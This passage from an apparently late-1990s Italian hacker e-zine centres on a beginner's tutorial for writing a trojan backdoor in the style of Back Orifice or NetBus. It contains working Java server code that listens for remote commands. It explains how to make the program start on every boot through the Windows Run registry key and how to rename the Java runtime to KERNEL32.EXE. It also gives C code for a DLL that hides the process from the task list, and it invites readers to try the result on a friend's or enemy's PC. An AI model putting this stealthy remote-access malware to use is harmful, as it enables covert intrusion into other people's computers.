End Sub


Sub Command1_Click ()
Form1.Visible = False
ScrnCap 0, 0, 640, 480
Form1.Visible = True
picture1 = clipboard.GetData()
End Sub


-----------------------------FINE---------------------------------------

Cioe' ogni qualvolta cliccherete sul pulsante Command1 vi catturera' lo schermo.
Attenzione nell'ultima SUB abbiamo:

ScrnCap 0, 0, 640, 480

Se avete una diversa risoluzione cambiate quel valore!

6. Fine

Beh credo che per ora basti, se trovo altri trucchi li vedrete sicuramente sul
prox numero.
Ciao da T0rment0
T0rment0
urkes@hotmail.com

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ BACKDOORS FOR DUMMIES (e non vi offendete:)) ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ok. Questo, come dice il titolo, sara' un piccolo tut che dovrebbe insegnare
ad ogni newbies come scriversi il proprio BO o NetBus e ad essere meno lamer.
Il tut l'ho pensato proprio al "nobile" scopo di de-lamer-izzarvi.
DE-LAMER-IZZATEVI, non usate BO x poi vantarvi di essere dei grandi Hacker,
anche mio cugino di 2 anni sarebbe capace di Hackerare un PC con quello :))

/--NOTA----------------------------------------------------------------------\
| prevedo entro domani mattina un minimo di 10 installazioni di BO sul mio PC|
| che si combattono x chi mi deve formattare l'HD x primo :)) |
------------------------------------------------------------------------------

Proprio cosi', perche' in giro ci sono parecchi guys che vanno in giro
vantandosi delle proprie imprese (realizzate col BO) e poi magari cercano di
Hackerare uno UNIX con lo stesso metodo (perke' non sanno kosa c'e' dietro?)

DITEMI SE NON E' LAmHZ QUESTO ?!?!? ):| VERGOGNA!!!

/--NOTA----------------------------------------------------------------------\
| kosi' sono certo di essermeli messi tutti contro, e le installazzioni di BO|
| sul mio PC arriveranno a quota 3000 :)))) |
------------------------------------------------------------------------------

Io non sono certo un Hacker (lo capirete presto:) , in quanto non ho mai
hackerato un kzz, ma sono un cracker beginner (ho iniziato da circa 3 mesi:)
e mi sono affacciato alla scena da pochissimo (affacciato ho detto), ma almeno
posso essere sicuro di non essere un lamer.
(prima di fare qualcosa devo sapere cosa c'e' dietro altrimenti non la faccio
proprio, le cose "rrunzate" non mi piacciono)
Dopo questa breve nota biografica (CORO : ke palle!!!) necessaria in quanto e'
meglio buttarsi avanti x non trovarsi indietro, cominciamo con le cose serie :

COS' E' IL BO (x veri newbies, non dite ke non vi avevo avvertito:)

Allora, BO (come NetBus) e' un troiano, cioe' un programmino che sembra faccia
qualcosa mentre in realta' ci sta inkulando a sangue in background.
Va be, in pratica questo kz di programma una volta installato in un PC si
mette in ascolto (fa da server) di certi comandi che gli si puo' mandare con
un client apposito (suppongo anche con telnet, ma in realta' io non l'ho mai
usato quindi posso solo immaginare :( , cmq e' il concetto che conta, no? :)
Questi comandi spaziano dai "classici" download/upload di file allo spegnimen-
to da remoto del Pc vittima o nel NetBus anche a comandi + "creativi" quali la
apertura/chiusura del lettore CD e la possibilita' (secondo me imperdibile)
di sentire il povero user vittima dei nostri scherzi che ci manda a fankulo
mentre gli formattiamo l'HD.
In pratica ci fa' fare da remoto tutto quello che potremmo fare in locale
tranne accendere il Pc se spento :P
Bene, questa e' quello che + o - penso possa essere la descrizione sintetica
di cosa BO e NetBus siano in pratica.
Ora vediamo come possiamo noi poveri NewBies fare' qualcosa che si avvicini al
lavoro svolto dai coders di BO (Cult of Dead Cow).
Potremmo cominciare col vederlo in Java x vari motivi :
1. le classi che Java ci mette a disposizioni ci renderanno le cose molto +
facili;
2. la struttura ad oggetti facilitera' (penso) la comprensione da parte dei
newbies;
3. il nostro lavoro sara' (suppongo:) multipiattaforma;

e cosa ancora + importante :

4. io le mie prove le ho fatte in Java quindi sara' in Java che ve lo
spieghero' :))))))

Ma prima di passare alla pratica si deve passare obbligatoriamente dalla
teoria ;)

I SOCKET IN JAVA

Questo in effetti voleva essere piu' che altro un intro su come usare Socket e
TCP in Java, ma considerato che so quanto noi newbies siamo "lazy" (e il
passaggio da lazy a lamer a volte e' breve :) ho deciso di allettarvi con
qualcosa di meno nobile ma concreto (il BO appunto).
Ma prima di tutto vi tokkera' sukarvi il mio korso di Socket in Java (hihihi:)
( sono un sadiko vero ? :)
Quindi fate come me :
accendetevi una sigaretta (o equivalente in verde) :Q
e cominciate a leggere (ke io komincio a skrivere)

Come prima cosa dovrei forse illustrare cosa sia un socket, ma non penso di
essere un pozzo di scienza sull'argomento quindi lo spieghero' in modo
sintetico lasciando a voi ulteriori approfondimenti (in altre parole :
SKARIKO_IL_BARILE)

Un Socket non e' altro se non un flusso di dati (anzi 2 flussi di verso
opposto:) tra due Pc collegati in rete (ma anche fra 2 applicazioni in locale
se volete).
I Socket utilizzati da Java sono in stile Unix e permettono di utilizzare le
normali classi di IO usate su file e simili sui socket da noi aperti.
Quindi una volta aperto un socket lo possiamo utilizzare come un normale
flusso (Stream, cosi' introduciamo gia' i termini) di dati che sara' pero'
direzionato verso un altro calcolatore in rete.
Prima che vi fossiliziate sulle classi di Java e non siate piu' in grado di
uscirne voglio far notare che mentre Java fornisce due tipi di Socket
principali Socket e ServerSocket, in Unix e nelle WinSock di Windoze non
esiste nessun ServerSocket ?!?!?!
allora voi penserete : "Posso scrivere solo client ?"
ma la risposta sara' : "NO :)"
In effetti i ServerSocket di Java altro non sono se non Socket in stato di
listen (cioe' ascolto) che aspettano qualcuno che ci si metta in contatto.
( x una descrizione + completa dei Socket in Unix o WinSock aspettate un
prossimo tut o se andate di fretta documentatevi, HOW-TO e pagine man di Linux
sono zeppi di info, molte di + del necessario:)

E ora le Classi (non elenchero' tutti i metodi ma solo quelli che useremo,
I'm lazy too :P )

---java.net.Socket------------------------------------------------------------
| Descrizione | questa classe implementa i client sockets. |
|--------------|-------------------------------------------------------------|
| Costruttori | Socket() - crea un Socket non connesso, del tipo di default |
| | nel sistema. |
| |-------------------------------------------------------------|
| | Socket(InetAddress address, - crea un Socket e lo connette |
| | int port) all'indirizzo "address" sulla |
| | porta "port" (naturalmente:) |
| |-------------------------------------------------------------|
| | Socket(String host, - crea un Socket e lo connette all' in- |
| | int port) dirizzo "host" sulla porta "port" |
|--------------|-------------------------------------------------------------|
| Metodi | void close() - chiude questo socket ( ma che bravo !!!:)) |
| |-------------------------------------------------------------|
| | InputStream getInputStream() - ritorna un InputStream per |
| | questo socket. |
| |-------------------------------------------------------------|
| | OutputStream getOutputStream() - ritorna un OutputStream per|
| | questo socket |
|--------------|-------------------------------------------------------------|

---java.net.ServerSocket------------------------------------------------------
| Descrizione | questa classe implementa i server sockets, che attende una |
| | richiesta e una volta arrivata crea un Socket verso di essa.|
|--------------|-------------------------------------------------------------|
| Costruttori | ServerSocket(int port) - crea' un socket in stato di listen |
| | sulla porta "port". |
| |-------------------------------------------------------------|
| | Socket(int port - crea un Socket in attesa sulla porta |
| | int backlog) "port" che accetti un massimo di |
| | "backlog" di connessioni nella coda. |
|--------------|-------------------------------------------------------------|
| Metodi | Socket accept() - rimane in listen x una connessione e la |
| | accetta. |
| |-------------------------------------------------------------|
| | void close() - chiude questo socket. |
|--------------|-------------------------------------------------------------|

Ritengo che per quanto riguarda i socket queste dovrebbero bastarci x ora.
Invece x quanto riguarda i Flussi di Input/Output ci sono un bel po di classi,
e si trovano in "java.io" :

--Input-----------------
| InputStream |
| InputStreamReader |
| BufferedInputStream |
| BufferedReader |
| PipedInputStream |
| PipedReader |
|----------------------|
|-Output---------------|
| OutputStream |
| OutputStreamWriter |
| BufferedOutputStream |
| BufferedWriter |
| PipedOutputStream |
| PipedWriter |
------------------------

queste sono alcune, scegliete la vostra preferita', se non ve ne piace nessuna
realizzatene una nuova, insomma a voi la scelta.

IL MODELLO CLIENT-SERVER

Il modello client-server e' molto intuitivo, in quanto si basa su un client
che fa delle domande ad un server che gli risponde : lineare, no ?

domanda
/--------\ ---------> /--------\
| client | | server |
\--------/ <--------- \--------/
risposta

Il Server si trovera' magari nella situazione di dover svolgere svariati
compiti o di dover rispondere a domande di diverso "tipo".
Il tutto si risolve con le porte, che non hanno niente a che fare con le
porte fisiche che si trovano dietro ad un Pc ma sono una struttura software,
punti di accesso ai servizi offerti dal software di rete.

In pratica :

/-------------\
| SERVER |
\-/----|----\-/
/ | \
/ | \
/-----\ /------\ /------\
| FTP | | HTTP | | SMTP | etc. etc.
|-----| |------| |------|
/|\ | /|\ | /|\ |
| | | | | |
| \|/ | \|/ | \|/
/------\ /------\ /------\
|client| |client| |client| etc. etc.
| FTP | | HTTP | | SMTP |
\------/ \------/ \------/

Quello che ancora non abbiamo messo in risalto e' che il confine fra Server
e Client non e' cosi netto come puo' sembrare...
Ogni Client puo' fare da Server ed ogni Server puo' essere il Client di
qualcun altro (alla faccia della chiarezza:)

Bene, questo dovrebbe aver chiarito le idee a chi le aveva confuse, e confuse
a chi le aveva chiare (hahahah :))))
A questo punto mi sento veramente esaurito ed esco a farmi un JoinT :Q
~~~~
Bene eccomi di ritorno - lucido di prima, ma soprattutto - convinto che di
quanto sto scrivendo gliene freghi niente a qualcuno :ø(

AND NOW SOME KODE (solo un poko pero':)

Ora potreste cominciare col fare pratica nello scrivere Client di tutti i tipi
tutto quello che vi serve si trova in rete (tutto tranne la vostra testa),
di utilissimo supporto sono soprattutto gli RFC cioe' dei documenti ufficiali
che illustrano le specifiche dei protocolli di rete (cioe' l'insieme di regole
di funzionamento).
Ma x quanto ci riguarda gli RFC non hanno una particolare importanza x il
nostro scopo in quanto una volta chiaro che il server deve ascoltare e
rispondere ed il client chiedere non abbiamo bisogno di altro e il protocollo
(parola grossa nel nostro caso) lo stabiliremo noi :)

---Mettere un ServerSocket in listen su una porta-----------------------------
ed accettare una connessione.

import java.net.*; // x i Socket
import java.io.*; // x le Exception
...
try {
ServerSocket srvSock = new ServerSocket(1234); // crea un ServerSocket
// che si mettera in
// ascolto sulla port 1234
...
Socket clientConnection = srvSock().accept(); // entra in listen e
// accetta una connessione
// poi ritornandola.
}
catch(IOException e) {
System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :)
System.out.println("IOException : "+e.getMessage();
}
...
------------------------------------------------------------------------------
---Aprire un Socket verso un determinato Host e Port.-------------------------

import java.net.*; // x i Socket
import java.io.*; // x le Exception e gli Stream
...
try {
// apre un Socket verso all'indirizzo "127.0.0.1" sulla porta 1234
// P.S. non fate kazzate e' il vostro IP :P
Socket cltSock = new Socket("127.0.0.1", 1234);
OutputStream out = cltSock.getOutputStream(); // con questo potete
// scrivere.
InputStream in = cltSock.getInputStream(); // con questo potete
// leggere.
...
out.write("Stronzo".getBytes()); // scriviamo verso il server.
// esprimendogli tutta la nostra
// gratitudine :)))))))))
...
Byte[] risposta=new Bytes[1024]; // speriamo bastino :P
while(in.available<=0) {} // attendiamo risposta.
in.read(risposta); // leggiamo.
...
}
catch(IOException e) {
System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :)
System.out.println("IOException : "+e.getMessage();
}
...
------------------------------------------------------------------------------
Funziona + o - cosi'.

Quindi ora che "SAPPIAMO" (forse) come far funzionare i Socket, per prima cosa
stabiliamo il funzionamento del nostro server e poi di conseguenza quello del
nostro client : STABILIAMO IL PROTOCOLLO.

STABILIRE UN PROTOCOLLO

Stabilire un protocollo a volte puo' essere + facile di quanto la parola
stessa suggerisca, si tratta solo di immaginare quali siano i comandi che
possano essere lanciati, come fare a distinguerli dai parametri, a volte
necessari, e se necessario a come sincronizzare server e client.
Il nostro protocollo in questo caso saranno solo 2 o 3 comandi che scegliero'
al volo in questo momento... poi voi siete liberi di variare e soprattutto di
utilizzare le vostre conoscenze x fare di meglio.
Immaginiamo che al momento della connessione col server, questo aspetti da
parte nostra l'invio di un particolare comando di riconoscimento.
Ad esempio :

comando di riconoscimento
|
\|/
/------\ #LOGIN#password /------\
|CLIENT|--------------------->|SERVER|
\------/ \------/

Il server accettera' la connessione e leggera dall'InputStream.
Quello che leggera' sara' la prima stringa da noi inserita... Il server dovra'
percio' prima verificare che la sintassi del comando sia giusta (#LOGIN#) poi
se riconosce un comando valido interpreta quanto segue come parametri (se
necessari), nel nostro caso ci sara' la password.
A questo punto mi sembra logico che il server dovra' verificare la validita'
di tale password e in caso negativo debba chiudere la connessione.
In caso positivo invece rimarra' in attesa di altri comandi (ke server
passivo:).
Arrivati a questo punto penso che il mio compito nella spiegazione del
protocollo si possa fermare... i comandi gli sceglierete VOI in funzione di
cosa VOI vogliate che il server FACCIA :)
UTILIZZATE LA FANTASIA (una volta che avete la possibilita' di mettere una
backdoor il vostro solo limite e' quella:))))

Io che sono + "lazy" di voi e non mi sta andando di fare un kzz(sono tornato
ora a casa, ho lavorato tutto il giorno e voglio uscire) ne implementero' solo
uno giusto come esempio. A voi il resto (oltretutto se faccio tutto io voi ke
kzz fate ?)

Il mio comando sara': (rullino i tamburi.....[ah, fumano anche loro?hihihi] )

#DIALOG#hey, faccia di kazzo ke kosa fai? non tokkare la tastiera ke ti
fulmino l'harddisk ):|

che stampera' sullo schermo del povero sventurato (probabilmente voi stessi
nelle vostre prove) una DIALOG intimidatoria e niente di +, ma come ho detto
questo e' solo un esempio e potete fare di meglio.

Ammazza ke fantasia direte voi... ma ve lo avevo gia' detto ke non mi sta
kollando un kzz, quindi akkontentatevi :)

REALIZZAZIONE PRATICA (ERA ORA !!!)

A questo punto cominciamo con la stesura del codice del server, ke mi appresto
ora a skrivere sperando che non superi le 40 linee :)
Il Flow del programma dovrebbe essere all'incirca questo :

/-----------------------\
|Inizializzazione Server|
\-----------------------/
|
|
|
/-----------------------\
| attende una richiesta |
| sulla porta |
\-----------------------/
|
|
/------------------------\
| accetta la connessione |
| e |
| apri un socket verso |
| il client |
\------------------------/
|
/------------------------\
| crea gli stream di |
| input e output per la |
| comunicazione con il |
| client |
\------------------------/
|<-------------------|----------|
/------------------------\ | |
| leggi una stringa dallo| | |
| stream di input | | |
\------------------------/ | |
| | |
/\ | |
/ \ | |
/ e' \ NO | |
/ un \ | |
/comando?\___________/--------\ |
\ / | ERRORE | |
\ / \--------/ |
\ / |
\ / |
\/ |
| SI |
/-------------------------\ |
| interpreta i parametri | |
\-------------------------/ |
| |
/-------------------------\ |
| agisci a seconda del |-----------------|
| comando e dei parametri |
\-------------------------/

Be', non e' proprio lo stato dell'arte ma dovrebbe ugualmente rendere l'idea.
Il tutto tradotto in Java sara' (non prendetelo come esempio di programmazione
e' scritto con una incredibile skogliona addosso:))) :

------JBackDoor.java----------------------------------------------------------
import java.awt.*; // import x le classi Frame, Label etc.
import java.net.*; // ====== = == ====== Socket e ServerSocket.
import java.io.*; // ====== = == ====== BufferedReader,
// OutputStreamWriter, ed IOException.

public class jBackDoor {
public final int STANDARD_PORT = 1234; // porta su cui accettare
// connessioni.

// SINTASSI COMANDI ( solo 2 :ø( )
public final String LOGIN = "#LOGIN#"; // sintassi comando di login.

public final String DIALOG = "#DIALOG#"; // ======== ======= x far
// apparire una Frame sul
// Desktop della vittima.

// STRINGHE DI RISPOSTA AD ERRORI

public final String NOTVALID = "Non e' un comando valido!!!\n\r";
public final String ALREADYLOGGED =
"SEI GIA' LOGGATO, KE KZ VUOI ANKORA!\n\r";

// MESSAGGIO DI ENTRATA
public final String INTRO =
"Java BackDoor Example v.1.0 coded by (R)ipLey\n\r"+
"For ]N[ewBieS e-zine. (c)opyLeft 1999\n\r";

private boolean logged = false; // true=logged, false=not logged :)
private String password = "newbies"; // LA NOSTRA PASSWORD :))))
private ServerSocket listenSock;

// Inizializza il ServerSocket
public jBackDoor() throws IOException{
listenSock = new ServerSocket(STANDARD_PORT);
}

// Ciclo di vita della BackDoor :
public void start() throws IOException{
while(true) {
Socket clientSock = listenSock.accept(); // accetta una connessione
workOn(clientSock); // ci lavora...
clientSock.close(); // una volta finito la chiude.
}
}

// Interazione Tra client e Server
public void workOn(Socket aSock) {
BufferedReader in;
OutputStreamWriter out;
try {
in = new BufferedReader(new InputStreamReader(aSock.getInputStream()));
out = new OutputStreamWriter(aSock.getOutputStream());

while(true) {
String inputData = in.readLine(); // Legge una Stringa
if(inputData!=null && inputData.compareTo("")!=0) {
int result=ElaborateInput(inputData); // Elabora l'input
switch (result) {
// COMANDO NON VALIDO
case 1 : out.write(NOTVALID, 0, NOTVALID.length());
out.flush(); break;
// GIA' LOGGATO
case 2 : out.write(ALREADYLOGGED, 0, ALREADYLOGGED.length());
out.flush(); break;
// STAMPA INTRO
case 3 : out.write(INTRO, 0, INTRO.length());
out.flush(); break;
}
}
else if(inputData==null) {
// connessione caduta.
logged=false; // de-logga
in.close(); // chiude gli stream
out.close(); // -----------------
break; // esce dal giro.
}
}
}
catch(IOException e) {
System.out.println(e.getMessage());
System.exit(1);
}
}

// Elabora una stringa di input
public int ElaborateInput(String inputData) {
String parametri;

if(inputData.startsWith(LOGIN)) { // E' IL COMANDO LOGIN?
if(logged) return 2; // SE GIA' LOGGATO non fare niente
parametri = inputData.substring(LOGIN.length()); // estrai parametri
// verifica la validita' della password (in caso positivo ritorna 3)
if(logged=parametri.startsWith(password)) return 3;
}
else if(inputData.startsWith(DIALOG)) { // E' IL COMANDO DIALOG?
// SE precedentemente LOGGATO eegue il comando.
if(logged) OpenDialog(inputData.substring(DIALOG.length()));
else return 1; // COMANDO NON VALIDO FINO A LOGIN
// AVVENUTO.
}
else return 1; // COMANDO NON VALIDO

return 0; // NON FARE NIENTE
}

// Crea e Visualizza una finestra con il testo da noi selto...
// Non e' il massimo come fantasia... :D
public void OpenDialog(String testo) {
Frame myFrame = new Frame("DA UN FAN SCONOSCIUTO");
myFrame.setLayout(new FlowLayout());
myFrame.add(new Label(testo, Label.CENTER));
myFrame.setSize(myFrame.getMaximumSize());
myFrame.show();

}

/********* MAIN *********/
public static void main(String argv[]) {
try {
jBackDoor myBackDoor = new jBackDoor();
myBackDoor.start();
}
catch(IOException e) {
System.out.println("Exception :"+e.getMessage());
System.exit(1);
}
}
}
------------------------------------------------------------------------------

Bene me la sono cavata con un centinaio di righe di codice e una sola classe,
mi e' andata bene...
Ma cosi' com'e' il programma ha una grossa limitazione (ke non sono i poki
komandi presenti) :
si puo' fare una sola connessione per volta :ø(

Cmq si possono apportare migliorie + o - in tutte le parti del programma, ma
ho preferito lasciarlo semplice e lineare xche' sia di + facile comprensione,
spero' di non aver sbagliato :(

Innazitutto potreste estrapolare il cuore del programma ( quello che
interagisce con il client ) e inserirlo in un'altra classe che erediti da
Thread kosi' da rendere la BackDoor in grado di gestire + client
contemporaneamente ( a voi il kompito :), e inserire qualke altro komando
(modifica della passwd, download e upload di file, esecuzione di comandi dal
prompt etc. etc.), DIVERTITEVI :)))))))

POZIONE PER L'INVISIBILITA'

Adesso che avete la vostra cara BackDoor personalizzata vorrete sicuramente
provarla sul Pc di qualke amico ( o nemico :)) ...
Come farla avviare automaticamente e nasconderla da occhi indiscreti ?
Innanzitutto mettere la classe (o le classi) della BackDoor nel classes.zip
cosi' che l'interprete le trovi senza dover specificare alcun PATH...
poi inserire la riga di comando x l'avvio del programma nel registro di
configurazione, nella chiave :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Se lo volete un po' + invisibile potreste spostare il javaw.exe o il jview.exe
nella directory "C:\WINDOWS\" e rinominarlo in qualkosa tipo KERNEL32.EXE :))

In questo modo sara' avviato automaticamente ad ogni avvio di windows ma non
sara' invisibile alla TaskList. Come fare ?

C'e' una chiamata al kernel semi-documentata chiamata "RegisterServiceProcess"
( 10x to GuyBrush :) che permette di registrare un processo come Servizio di
Sistema e cio' lo rende invisibile alla TaskList.

Ora possiamo modificando un poko il programma x renderlo completamente
invisibile :), come ?
Semplice, scrivendo una DLL e caricarla semplicemente in memoria, questa
avendo nell'entry point il codice necessario a rendere invisibile il processo
corrente ci rendera' invisibili al solo caricamento :))))))) senza dover fare
nient'altro
GRAZIE BILL!!!!!

UNA DLL X L'INVISIBILITA'

Munitevi di un Compilatore che vi permetta di compilare DLL e create la vostra
personale pozione per l'invisibilita'. Io la mia l'ho scritta con il Visual
C++ 5.0 (10x to netzus6 x l'aiuto).
Dichiarate una funzione come entrypoint della DLL la mia l'ho chiamata
DllEntry (sono un originale:).
In questa funzione dovrete :
- caricare la libreria "kernel32.dll" con la funzione LoadLibrary (altrimenti
niente RegisterServiceProcess);
- crearsi un puntatore alla funzione con la funzione GetProcAddress;
- poi :
1. in caso di caricamento della DLL chiamare la RegisterServiceProcess
perche' ti renda invisibile;
2. in caso di scaricamento ti renda nuovamente visibile;

Per saperne di + controllare la documentazione, cmq allego il mio esempio
che potrebbe essere di aiuto ai + inesperti :

#include<windows.h>

#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0

typedef DWORD (WINAPI *RSPType)(DWORD, DWORD);

BOOL WINAPI DllEntry( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {

HINSTANCE hiKernel32;
RSPType RSPFunction;
hiKernel32 = LoadLibrary("Kernel32.dll");
if(hiKernel32==NULL) return FALSE;

RSPFunction=(RSPType)GetProcAddress(hiKernel32, "RegisterServiceProcess");
if(hiKernel32==NULL) return FALSE;

switch(fdwReason) {
case DLL_PROCESS_ATTACH : (RSPFunction)((DWORD)NULL, RSP_SIMPLE_SERVICE);
break;

case DLL_PROCESS_DETACH : (RSPFunction)((DWORD)NULL, RSP_UNREGISTER_SERVICE);
break;
}

FreeLibrary(hiKernel32);

return TRUE;
}

Ricordatevi, se usate VC++5.0, di modificare i Setting/Link aggiungendo
l'opzione "/entry:nomeFunzioneDiEntryPoint" che specifica il nome della nostra
funzione.
Nel programma java dovrete invece aggiungere all'interno della classe la
seguente dichiarazione :

static {
try {
System.loadLibrary("IDLL");
}
catch(UnsatisfiedLinkError e) {
System.out.println("Exception :"+e.getMessage());
System.exit(1);
}
}

che verra' eseguita appena viene caricato il .class e provvedera' a caricare
la DLL.

THE END ?

Penso che x adesso basti...
Una base ce l'avete ora approfondite e migliorate :)))))))))

RINGRAZIAMENTI :

Tanx to :

netzus6 "l'alchimista" - per l'aiuto nella realizzazione della pozione
dell'invisibilita'.
GuyBrush "Il pirata buono"- per avermi segnalato la funzione
RegisterServiceProcess e per aver scritto un
crackme che lui continua a dire che e' facile
e io continuo a non riuscire a crakkarlo (non
ci avro' messo abbastanza intenzione:)
Kill3xx "Gandhi" - Lui sa xche' :)))
Insanity "Billy the Kid" - Colui che ha il saluto + veloce del west (cosi' dicono:)
xche' non mi ha ancora mandato a f.....o
Lui sa xche' :)))))
Furb3t "Burl3t" - xche' mi (ci) ha preso x c..o con la sua
HomePage, Lei sa xche' :)))))))
buendia "Il Laureato" - x i Docs sui Socket.
Auguroni per ... (Lui sa xche':)))))))))

a tutto Ring0 xche' sono tutti GRANDI :D
e a tutti gli amici di #crack-it

ed infine a

N0Body88 - xche' (spero) accettera' il mio articolo :)

Tanx for il supporto musicale :
Bob Marley, The Cure, The Police, CCCP, CSI, Primus, Punkreas etc. etc.

Fuck to :
Offspring x essere diventati + commerciali di Laura Pausini.


$$$$$ $$
$ $$$ $ øø $$ $$$
$ $ $ $ $$ $$$$ $$ $ $ $ $$
$ $$ $ $$ $$ $ $$ $$$$$ $ $$
$ $ $ $ $$ $$ $ $$ $ $ $$
$$$$$ $$ $$$$ $$$$$ $$$$ $$
$$ $$
$$ $$

Spedite ringraziamenti, elogi, critiche costruttive a
Cannabis_Oil@hotmail.com

Per critiche non-costruttive, insulti, flames e bu......e varie a
DevNull@Hole.ass

©ipLey

NOTA DI N0bodY88 = incredibile... prima di mandano un capolavoro di articolo
e poi si domandano se lo accettermo!!! che tempi!!!!!!!!!!
Cmq sono d'accordo con ©ipLey x quanto riguarda gli
Offspring, io continuo a sentirmi i Lag Wagon e vado
avanti x la mia strada...

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ PROGRAMMAZIONE DI DEMO X NINTENDO 64 ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Bhe ciao a tutti oggi voglio parlarvi di programmazione [ohhh che novita' ]
[buhh buhh] di demo [buhh buhh] per nintendo 64 [ohhhhhhh].
Bhe allora io ho iniziato da pochissimo circa 4 giorni , visto che son molto
patito di emulazione e che mi interesso di ste cose ] . Bhe cominciamo:
Cosa bisogna avere??????????
1: c++ [almeno io ho usato quello]
2: n64 denvelpment kit [14mb]
3: 3ds4 [x le meshes]
4: tanta voglia ed un cazzo da fare [per fortuna in sti giorni ne ho in
abbondanza : matura suck]

Ringrazio le seguenti persone che mi han aiutato:
NaN, Kid, Nil, Maxx, Nop, CyboD, Stage, Rude Boy, Stumble....

Allora accludo file 3ds (lo trovate nei prog acclusi sotto il nome di
"file3ds.zerocool" o nello zip principale o in quello degli allegati).

Esiste poi il prog n643dsl che userete per linkare questo file alla vostra
presentazione.
Bhe okki poi con un caro n64bmi ci applicherete uno sfondo [supporta bmp ,
gif , tif , pcx] e via dicendo . Sto lavorando [ o meglio la ho finita ] a
una demo x n64 che non accluderemo' pero' alla rivista [primo perche' non
inerentissima alla tematica , secondo perche' di 4mb].......Chi vivra' vedra'

ZeroCool
Provoces the best you will die like a slave

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°Û°°°°°°°°°ÛÛÛ°°°ÛÛ°°°°°°Û°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°²
²°°°°°°°°ÛÛÛ°°°°°°°°ÛÛÛÛ°°ÛÛ°°°°°ÛÛÛ°°°°°ÛÛ²²²²Û°°ÛÛ°°°°°°ÛÛ°°°ÛÛ°°°ÛÛ°ÛÛ°°°°²
²°°ÛÛÛÛÛÛÛ²ÛÛÛÛÛÛÛ°°ÛÛ°ÛÛ°ÛÛ°°°°ÛÛ²ÛÛ°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°°²
²°°°°°°ÛÛÛÛÛÛÛ°°°°°°ÛÛ°°ÛÛÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°ÛÛ°°°°ÛÛ°°°°°°ÛÛ°°°ÛÛ°°°°°Û°°°°°°²
²°°°°°ÛÛ°°°°°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°ÛÛÛ°°°ÛÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°°°°Û°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA ³º
